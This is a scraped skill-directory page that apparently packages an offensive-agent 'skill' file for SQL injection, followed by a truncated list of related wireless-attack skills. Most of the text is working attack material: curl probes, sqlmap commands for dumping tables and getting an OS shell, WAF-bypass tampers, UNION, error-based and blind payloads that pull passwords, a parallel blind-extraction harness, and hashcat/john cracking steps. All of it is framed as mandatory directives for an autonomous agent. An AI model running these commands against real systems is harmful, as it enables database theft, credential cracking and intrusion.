[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770E96BFQZ95T045FVPVMKK":3,"skill-same:01M770E96BFQZ95T045FVPVMKK":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":14,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M770E96BFQZ95T045FVPVMKK","sqli",null,"SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean\u002FTime-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsqli\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: sqli\ndescription: \"SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean\u002FTime-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"sql injection, sqli, sqlmap, union select, blind sql, boolean sql, time-based sql, error-based sql, stacked queries, information_schema, database dump, mysql, postgresql, mssql, sqlite, oracle, sql query, sql error, single quote, order by, group by\"\n---\n\n# SQL Injection\n\nExploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean\u002FTime-based), and Stacked queries.\n\n## Detection\n```bash\n# Single quote error test\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1%27' -o sqli_test_quote.txt\n\n# Boolean test\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1+AND+1=1' -o sqli_true.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1+AND+1=2' -o sqli_false.txt\n\n# Time-based blind\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\\nTime: %{time_total}s\\n' -o sqli_time.txt\n```\n\n## sqlmap — Automated Exploitation\n```bash\n# Basic detection and exploitation\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Aggressive scan (higher risk\u002Flevel)\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_\u003CTARGET>\u002F\n\n# POST request\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Flogin' --data 'user=admin&pass=test' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# With cookies\u002Fheaders\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --cookie 'session=\u003CTOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Enumerate databases\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --dbs --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Dump specific table\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch -D \u003CDATABASE> -T \u003CTABLE> --dump --output-dir sqlmap_\u003CTARGET>\u002F\n\n# OS shell (if stacked queries + privileges)\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --os-shell --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Tamper scripts for WAF bypass\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_\u003CTARGET>\u002F\n```\n\n## Blind SQLi Fast-Path (MANDATORY when tag is `blind_sqli`)\n\nWhen the challenge tag includes `blind_sqli`, skip exploratory probing and go straight to confirmation + sqlmap:\n\n1. Run ONE time-based probe and ONE boolean differential in your first exploit bash call:\n   ```bash\n   # Time-based oracle confirmation\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND SLEEP(5)--+-\" --max-time 10 -w '\\nTime: %{time_total}s\\n' -o blind_time.txt\n   # Boolean differential\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND 1=1--+-\" -o blind_true.txt\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND 1=2--+-\" -o blind_false.txt\n   ```\n2. If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:\n   ```bash\n   sqlmap -u \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1\" --technique=BT --batch --dump --threads=5 \\\n     --output-dir sqlmap_blind\u002F 2>&1 | tee sqlmap_blind.log &\n   ```\n3. Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.\n\n## Manual-vs-Tool Decision Rule (MANDATORY)\n\nOnce SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:\n\n| State | Action |\n|-------|--------|\n| SQLi confirmed, no extraction yet | Run `sqlmap --batch -u \"\u003CURL>\" --dump --threads=5` FIRST |\n| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python\u002Fbash) that does length-probe → binary-search → reconstruct in a single invocation |\n| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |\n| Harness completes with partial extraction | Submit\u002Fverify the partial result before launching a second harness |\n\n**Anti-pattern**: iterating dozens of manual single-character curls when `sqlmap --dump` would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.\n\n**Hard rule**: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.\n\n## Manual Techniques\n\n**Union-Based**\n```sql\n-- Determine column count\nORDER BY 1-- -\nORDER BY 2-- -\n-- ... increment until error\n\n-- Extract data via UNION\n' UNION SELECT 1,2,3-- -\n' UNION SELECT username,password,3 FROM users-- -\n' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -\n```\n\n**Error-Based (MySQL)**\n```sql\n-- ExtractValue\n' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -\n' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -\n\n-- UpdateXML\n' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -\n```\n\n**Blind Boolean**\n```sql\n' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -\n```\n\n**Blind Time-Based**\n```sql\n-- MySQL\n' AND IF(1=1,SLEEP(5),0)-- -\n' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)-- -\n\n-- MSSQL\n'; WAITFOR DELAY '0:0:5'-- -\n\n-- PostgreSQL\n'; SELECT pg_sleep(5)-- -\n```\n\n## Blind SQLi — Bulk Extraction Strategies\n\nWhen boolean-blind or time-blind is confirmed, character-by-character extraction is slow. Use these strategies to accelerate data retrieval.\n\n**Binary search (halving ASCII range)**\n```sql\n-- Narrows each character to 7 bits instead of 95 guesses\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112-- -\n```\n\n**Bit-by-bit extraction (7 requests per char, no false positives)**\n```sql\n-- Extract bit 7 (MSB) of char at position 1\n' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>>6)&1=1-- -\n-- Repeat for bits 6..0, reconstruct with: chr(sum(bit_n * 2^n))\n```\n\n**Batch length check before extraction**\n```sql\n-- Know total length first to bound the loop\n' AND LENGTH((SELECT password FROM users LIMIT 1))>15-- -\n' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -\n```\n\n**UNION-based fallback if error mode unlocks mid-session**\n```sql\n-- If WAF relaxes after auth or error context changes, retry UNION\n' UNION SELECT NULL,password,NULL FROM users-- -\n```\n\n**sqlmap turbo flags for blind (use only when manual PoC is confirmed)**\n```bash\n# --technique=B (boolean) or T (time), --level=3, --threads up to 10\nsqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --technique=BT --level=3 --threads=5 \\\n  --dbms=mysql -D targetdb -T users -C username,password --dump --batch\n```\n\n**Extraction priority order**\n1. Schema names (`information_schema.schemata`)\n2. Table names (`information_schema.tables WHERE table_schema=database()`)\n3. Column names (`information_schema.columns`)\n4. High-value columns: `password`, `token`, `secret`, `api_key`, `flag`\n\n## Post-Extraction Hash Cracking Workflow\n\nWhen SQLi extraction yields a hash (MD5\u002FSHA1\u002Fbcrypt\u002Fetc.), crack it IMMEDIATELY — do not custom-build a wordlist or guess variants manually:\n\n```bash\nHASH=\"\u003Cextracted_hash>\"\necho \"$HASH\" > \u002Ftmp\u002Fcrack.hash\n\n# Step 1: try common trivial passwords in-process (covers ~60% of CTF hashes)\nfor c in \"admin\" \"password\" \"123456\" \"password123\" \"root\" \"toor\" \"letmein\" \"qwerty\" \\\n          \"admin123\" \"test\" \"guest\" \"user\" \"changeme\" \"secret\" \"p@ssword\"; do\n  # MD5\n  echo -n \"$c\" | md5sum | grep -qi \"${HASH}\" && echo \"MD5 MATCH: $c\" && break\n  # SHA1\n  echo -n \"$c\" | sha1sum | grep -qi \"${HASH}\" && echo \"SHA1 MATCH: $c\" && break\n  # SHA256\n  echo -n \"$c\" | sha256sum | grep -qi \"${HASH}\" && echo \"SHA256 MATCH: $c\" && break\ndone\n\n# Step 2: wordlist crack with hashcat (if installed)\n# Identify hash type: hashcat --identify \u002Ftmp\u002Fcrack.hash\nhashcat -a 0 \u002Ftmp\u002Fcrack.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --quiet 2>\u002Fdev\u002Fnull | head -5\n\n# Step 3: john fallback\njohn \u002Ftmp\u002Fcrack.hash --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=raw-md5 2>\u002Fdev\u002Fnull\njohn \u002Ftmp\u002Fcrack.hash --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=raw-sha1 2>\u002Fdev\u002Fnull\njohn --show \u002Ftmp\u002Fcrack.hash 2>\u002Fdev\u002Fnull\n\n# Step 4: application-context variants (username, app name as base)\nAPP_USER=\"admin\"  # replace with extracted username\nfor c in \"${APP_USER}\" \"${APP_USER}123\" \"${APP_USER}!\" \"${APP_USER}@123\" \"${APP_USER}2024\"; do\n  echo -n \"$c\" | md5sum | grep -qi \"${HASH}\" && echo \"CONTEXT MATCH: $c\" && break\ndone\n```\n\n**Hard rule**: Do NOT write a custom character-by-character brute-force loop. Use hashcat\u002Fjohn — they are 1000x faster. If the hash is bcrypt (`$2b$`), cost >12 makes cracking infeasible; pivot to finding a password-reset flow or auth bypass instead.\n\n## Blind SQLi: Parallel Character Extraction Blueprint\n\nWhen sqlmap is unavailable or blocked and boolean\u002Ftime-blind is confirmed, run character extractions in parallel — never sequentially.\n\n```bash\n# Step 1: probe string length first (binary search)\nTARGET_URL=\"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=\"\nTARGET_EXPR=\"(SELECT password FROM users LIMIT 1)\"\n\nfor len in 16 32 48 64; do\n  resp=$(curl -s \"${TARGET_URL}1' AND LENGTH(${TARGET_EXPR})=${len}--+-\")\n  echo \"$len: $(echo \"$resp\" | wc -c) bytes\"\ndone\n# Pick whichever length shows the \"true\" response size\n\nSTR_LEN=32  # set to confirmed length\n\n# Step 2: parallel character extraction (10-20 concurrent jobs)\nWORKSPACE=\"$(pwd)\"\nmkdir -p \"${WORKSPACE}\u002Fblind_chars\"\n\nfor pos in $(seq 1 \"$STR_LEN\"); do\n  (\n    for ascii in $(seq 32 126); do\n      resp=$(curl -s \"${TARGET_URL}1' AND ASCII(SUBSTRING(${TARGET_EXPR},${pos},1))=${ascii}--+-\")\n      # Detect \"true\" response by comparing size to known-true baseline\n      if echo \"$resp\" | grep -q \"\u003CKNOWN_TRUE_MARKER>\"; then\n        echo \"$ascii\" > \"${WORKSPACE}\u002Fblind_chars\u002Fpos_${pos}.txt\"\n        break\n      fi\n    done\n  ) &\n  # Throttle: allow max 20 concurrent jobs\n  (( (pos % 20) == 0 )) && wait\ndone\nwait\n\n# Step 3: reconstruct string from per-position files\npython3 -c \"\nimport os, glob\nchars = {}\nfor f in glob.glob('${WORKSPACE}\u002Fblind_chars\u002Fpos_*.txt'):\n    pos = int(os.path.basename(f).replace('pos_','').replace('.txt',''))\n    chars[pos] = chr(int(open(f).read().strip()))\nresult = ''.join(chars[p] for p in sorted(chars))\nprint('Extracted:', result)\n\"\n```\n\n**HARD RULE**: Once string length is known, the NEXT bash call MUST launch the parallel extraction loop above — not a single-character sequential probe. Sequential extraction at 1 req\u002Fchar on a 32-char secret = 32 round trips minimum; parallel at 20 concurrent = ≤2 rounds.\n","# SQL Injection\n\nExploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean\u002FTime-based), and Stacked queries.\n\n## Detection\n```bash\n# Single quote error test\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1%27' -o sqli_test_quote.txt\n\n# Boolean test\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1+AND+1=1' -o sqli_true.txt\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1+AND+1=2' -o sqli_false.txt\n\n# Time-based blind\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\\nTime: %{time_total}s\\n' -o sqli_time.txt\n```\n\n## sqlmap — Automated Exploitation\n```bash\n# Basic detection and exploitation\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Aggressive scan (higher risk\u002Flevel)\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_\u003CTARGET>\u002F\n\n# POST request\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Flogin' --data 'user=admin&pass=test' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# With cookies\u002Fheaders\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --cookie 'session=\u003CTOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Enumerate databases\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --dbs --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Dump specific table\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch -D \u003CDATABASE> -T \u003CTABLE> --dump --output-dir sqlmap_\u003CTARGET>\u002F\n\n# OS shell (if stacked queries + privileges)\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --os-shell --output-dir sqlmap_\u003CTARGET>\u002F\n\n# Tamper scripts for WAF bypass\nsqlmap -u 'https:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_\u003CTARGET>\u002F\n```\n\n## Blind SQLi Fast-Path (MANDATORY when tag is `blind_sqli`)\n\nWhen the challenge tag includes `blind_sqli`, skip exploratory probing and go straight to confirmation + sqlmap:\n\n1. Run ONE time-based probe and ONE boolean differential in your first exploit bash call:\n   ```bash\n   # Time-based oracle confirmation\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND SLEEP(5)--+-\" --max-time 10 -w '\\nTime: %{time_total}s\\n' -o blind_time.txt\n   # Boolean differential\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND 1=1--+-\" -o blind_true.txt\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1' AND 1=2--+-\" -o blind_false.txt\n   ```\n2. If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:\n   ```bash\n   sqlmap -u \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=1\" --technique=BT --batch --dump --threads=5 \\\n     --output-dir sqlmap_blind\u002F 2>&1 | tee sqlmap_blind.log &\n   ```\n3. Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.\n\n## Manual-vs-Tool Decision Rule (MANDATORY)\n\nOnce SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:\n\n| State | Action |\n|-------|--------|\n| SQLi confirmed, no extraction yet | Run `sqlmap --batch -u \"\u003CURL>\" --dump --threads=5` FIRST |\n| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python\u002Fbash) that does length-probe → binary-search → reconstruct in a single invocation |\n| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |\n| Harness completes with partial extraction | Submit\u002Fverify the partial result before launching a second harness |\n\n**Anti-pattern**: iterating dozens of manual single-character curls when `sqlmap --dump` would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.\n\n**Hard rule**: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.\n\n## Manual Techniques\n\n**Union-Based**\n```sql\n-- Determine column count\nORDER BY 1-- -\nORDER BY 2-- -\n-- ... increment until error\n\n-- Extract data via UNION\n' UNION SELECT 1,2,3-- -\n' UNION SELECT username,password,3 FROM users-- -\n' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -\n```\n\n**Error-Based (MySQL)**\n```sql\n-- ExtractValue\n' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -\n' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -\n\n-- UpdateXML\n' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -\n```\n\n**Blind Boolean**\n```sql\n' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -\n```\n\n**Blind Time-Based**\n```sql\n-- MySQL\n' AND IF(1=1,SLEEP(5),0)-- -\n' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)-- -\n\n-- MSSQL\n'; WAITFOR DELAY '0:0:5'-- -\n\n-- PostgreSQL\n'; SELECT pg_sleep(5)-- -\n```\n\n## Blind SQLi — Bulk Extraction Strategies\n\nWhen boolean-blind or time-blind is confirmed, character-by-character extraction is slow. Use these strategies to accelerate data retrieval.\n\n**Binary search (halving ASCII range)**\n```sql\n-- Narrows each character to 7 bits instead of 95 guesses\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112-- -\n```\n\n**Bit-by-bit extraction (7 requests per char, no false positives)**\n```sql\n-- Extract bit 7 (MSB) of char at position 1\n' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>>6)&1=1-- -\n-- Repeat for bits 6..0, reconstruct with: chr(sum(bit_n * 2^n))\n```\n\n**Batch length check before extraction**\n```sql\n-- Know total length first to bound the loop\n' AND LENGTH((SELECT password FROM users LIMIT 1))>15-- -\n' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -\n```\n\n**UNION-based fallback if error mode unlocks mid-session**\n```sql\n-- If WAF relaxes after auth or error context changes, retry UNION\n' UNION SELECT NULL,password,NULL FROM users-- -\n```\n\n**sqlmap turbo flags for blind (use only when manual PoC is confirmed)**\n```bash\n# --technique=B (boolean) or T (time), --level=3, --threads up to 10\nsqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --technique=BT --level=3 --threads=5 \\\n  --dbms=mysql -D targetdb -T users -C username,password --dump --batch\n```\n\n**Extraction priority order**\n1. Schema names (`information_schema.schemata`)\n2. Table names (`information_schema.tables WHERE table_schema=database()`)\n3. Column names (`information_schema.columns`)\n4. High-value columns: `password`, `token`, `secret`, `api_key`, `flag`\n\n## Post-Extraction Hash Cracking Workflow\n\nWhen SQLi extraction yields a hash (MD5\u002FSHA1\u002Fbcrypt\u002Fetc.), crack it IMMEDIATELY — do not custom-build a wordlist or guess variants manually:\n\n```bash\nHASH=\"\u003Cextracted_hash>\"\necho \"$HASH\" > \u002Ftmp\u002Fcrack.hash\n\n# Step 1: try common trivial passwords in-process (covers ~60% of CTF hashes)\nfor c in \"admin\" \"password\" \"123456\" \"password123\" \"root\" \"toor\" \"letmein\" \"qwerty\" \\\n          \"admin123\" \"test\" \"guest\" \"user\" \"changeme\" \"secret\" \"p@ssword\"; do\n  # MD5\n  echo -n \"$c\" | md5sum | grep -qi \"${HASH}\" && echo \"MD5 MATCH: $c\" && break\n  # SHA1\n  echo -n \"$c\" | sha1sum | grep -qi \"${HASH}\" && echo \"SHA1 MATCH: $c\" && break\n  # SHA256\n  echo -n \"$c\" | sha256sum | grep -qi \"${HASH}\" && echo \"SHA256 MATCH: $c\" && break\ndone\n\n# Step 2: wordlist crack with hashcat (if installed)\n# Identify hash type: hashcat --identify \u002Ftmp\u002Fcrack.hash\nhashcat -a 0 \u002Ftmp\u002Fcrack.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --quiet 2>\u002Fdev\u002Fnull | head -5\n\n# Step 3: john fallback\njohn \u002Ftmp\u002Fcrack.hash --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=raw-md5 2>\u002Fdev\u002Fnull\njohn \u002Ftmp\u002Fcrack.hash --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=raw-sha1 2>\u002Fdev\u002Fnull\njohn --show \u002Ftmp\u002Fcrack.hash 2>\u002Fdev\u002Fnull\n\n# Step 4: application-context variants (username, app name as base)\nAPP_USER=\"admin\"  # replace with extracted username\nfor c in \"${APP_USER}\" \"${APP_USER}123\" \"${APP_USER}!\" \"${APP_USER}@123\" \"${APP_USER}2024\"; do\n  echo -n \"$c\" | md5sum | grep -qi \"${HASH}\" && echo \"CONTEXT MATCH: $c\" && break\ndone\n```\n\n**Hard rule**: Do NOT write a custom character-by-character brute-force loop. Use hashcat\u002Fjohn — they are 1000x faster. If the hash is bcrypt (`$2b$`), cost >12 makes cracking infeasible; pivot to finding a password-reset flow or auth bypass instead.\n\n## Blind SQLi: Parallel Character Extraction Blueprint\n\nWhen sqlmap is unavailable or blocked and boolean\u002Ftime-blind is confirmed, run character extractions in parallel — never sequentially.\n\n```bash\n# Step 1: probe string length first (binary search)\nTARGET_URL=\"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=\"\nTARGET_EXPR=\"(SELECT password FROM users LIMIT 1)\"\n\nfor len in 16 32 48 64; do\n  resp=$(curl -s \"${TARGET_URL}1' AND LENGTH(${TARGET_EXPR})=${len}--+-\")\n  echo \"$len: $(echo \"$resp\" | wc -c) bytes\"\ndone\n# Pick whichever length shows the \"true\" response size\n\nSTR_LEN=32  # set to confirmed length\n\n# Step 2: parallel character extraction (10-20 concurrent jobs)\nWORKSPACE=\"$(pwd)\"\nmkdir -p \"${WORKSPACE}\u002Fblind_chars\"\n\nfor pos in $(seq 1 \"$STR_LEN\"); do\n  (\n    for ascii in $(seq 32 126); do\n      resp=$(curl -s \"${TARGET_URL}1' AND ASCII(SUBSTRING(${TARGET_EXPR},${pos},1))=${ascii}--+-\")\n      # Detect \"true\" response by comparing size to known-true baseline\n      if echo \"$resp\" | grep -q \"\u003CKNOWN_TRUE_MARKER>\"; then\n        echo \"$ascii\" > \"${WORKSPACE}\u002Fblind_chars\u002Fpos_${pos}.txt\"\n        break\n      fi\n    done\n  ) &\n  # Throttle: allow max 20 concurrent jobs\n  (( (pos % 20) == 0 )) && wait\ndone\nwait\n\n# Step 3: reconstruct string from per-position files\npython3 -c \"\nimport os, glob\nchars = {}\nfor f in glob.glob('${WORKSPACE}\u002Fblind_chars\u002Fpos_*.txt'):\n    pos = int(os.path.basename(f).replace('pos_','').replace('.txt',''))\n    chars[pos] = chr(int(open(f).read().strip()))\nresult = ''.join(chars[p] for p in sorted(chars))\nprint('Extracted:', result)\n\"\n```\n\n**HARD RULE**: Once string length is known, the NEXT bash call MUST launch the parallel extraction loop above — not a single-character sequential probe. Sequential extraction at 1 req\u002Fchar on a 32-char secret = 32 round trips minimum; parallel at 20 concurrent = ≤2 rounds.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","sql injection, sqli, sqlmap, union select, blind sql, boolean sql, time-based sql, error-based sql, stacked queries, information_schema, database dump, mysql, postgresql, mssql, sqlite, oracle, sql query, sql error, single quote, order by, group by","T1190","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsqli","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill sqli",{"tool":40,"command":41},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill sqli",{"tool":43,"command":44},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill sqli","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsqli\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 